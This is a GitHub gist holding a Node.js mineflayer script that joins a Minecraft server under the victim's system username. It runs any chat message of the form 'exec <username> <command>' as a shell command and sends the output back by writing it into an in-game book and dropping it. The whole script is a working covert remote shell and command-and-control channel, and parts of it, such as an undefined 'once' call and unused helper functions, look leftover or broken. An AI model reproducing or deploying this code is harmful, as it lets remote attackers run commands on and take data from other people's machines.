Skip to content

Instantly share code, notes, and snippets.

@echel0nn
Created March 2, 2022 16:21
Show Gist options
  • Save echel0nn/d0c29bfe2e4d42996ec3e2724cbc4ac0 to your computer and use it in GitHub Desktop.
Save echel0nn/d0c29bfe2e4d42996ec3e2724cbc4ac0 to your computer and use it in GitHub Desktop.
// https://www.youtube.com/watch?v=WA3PcbWOYd8
const mineflayer = require('mineflayer')
const { exec } = require("child_process");
const util = require('util');
const exec_com = util.promisify(exec);
global.usser = "";
async function get_user() {
const stats = await exec_com('whoami');
usser = stats.stdout.split("\n")[0];
console.log(usser);
}
get_user();
setTimeout(function() {
const bot = mineflayer.createBot({
host: '192.168.182.1', // minecraft server ip
username: global.usser, // minecraft username
version: "1.12.2", // only set if you need a specific version or snapshot (ie: "1.8.9" or "1.16.5"), otherwise it's set automatically
})
let mcData
bot.on('kill', function(stream) {
once(bot,'spawn');
});
bot.on('windowOpen', async (window) => {
window.requiresConfirmation = false // fix
await bot.clickWindow(13, 0, 0)
console.log(bot._events) // without the fix this code is unreachable, the promise never resolve
})
bot.on('windowClose', () => {
console.log(bot._events) // without the fix there is a confirmTransaction1 listener that is never removed
})
bot.on('chat', (username, message) => {
if (username === bot.username) return
if (message.startsWith(`exec ${usser}`)){
runcommand(message.split(`${usser}`)[1])
}
})
async function runcommand(command) {
exec(command, (error, stdout, stderr) => {
// bot.chat(`stdout: ${stdout}`);
var pages = [ stdout ].map(page => {
return page
.split(' ')
.map((word, i) => `§${(i%13+1).toString(16)}${i%2?'§l':''}${word}`)
.join(' ')
})
write(pages);
});
}
async function write (pages) {
let mcData = require('minecraft-data')(bot.version)
const [book] = bot.inventory.items().filter(({ name }) => name === 'writable_book')
if (!book) {
bot.chat("I don't have a book.")
return
}
await bot.writeBook(book.slot, pages);
toss();
}
function toss () {
const [book] = bot.inventory.items().filter(({ name }) => name === 'writable_book')
bot.tossStack(book)
}
// Log errors and kick reasons:
bot.on('kicked', console.log)
bot.on('error', console.log)
}, 1000);
function itemToString (item) {
if (item) {
return `${item.name} x ${item.count}`
} else {
return '(nothing)'
}
}
function itemByType (items, type) {
let item
let i
for (i = 0; i < items.length; ++i) {
item = items[i]
if (item && item.type === type) return item
}
return null
}
function itemByName (items, name) {
let item
let i
for (i = 0; i < items.length; ++i) {
item = items[i]
if (item && item.name === name) return item
}
return null
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment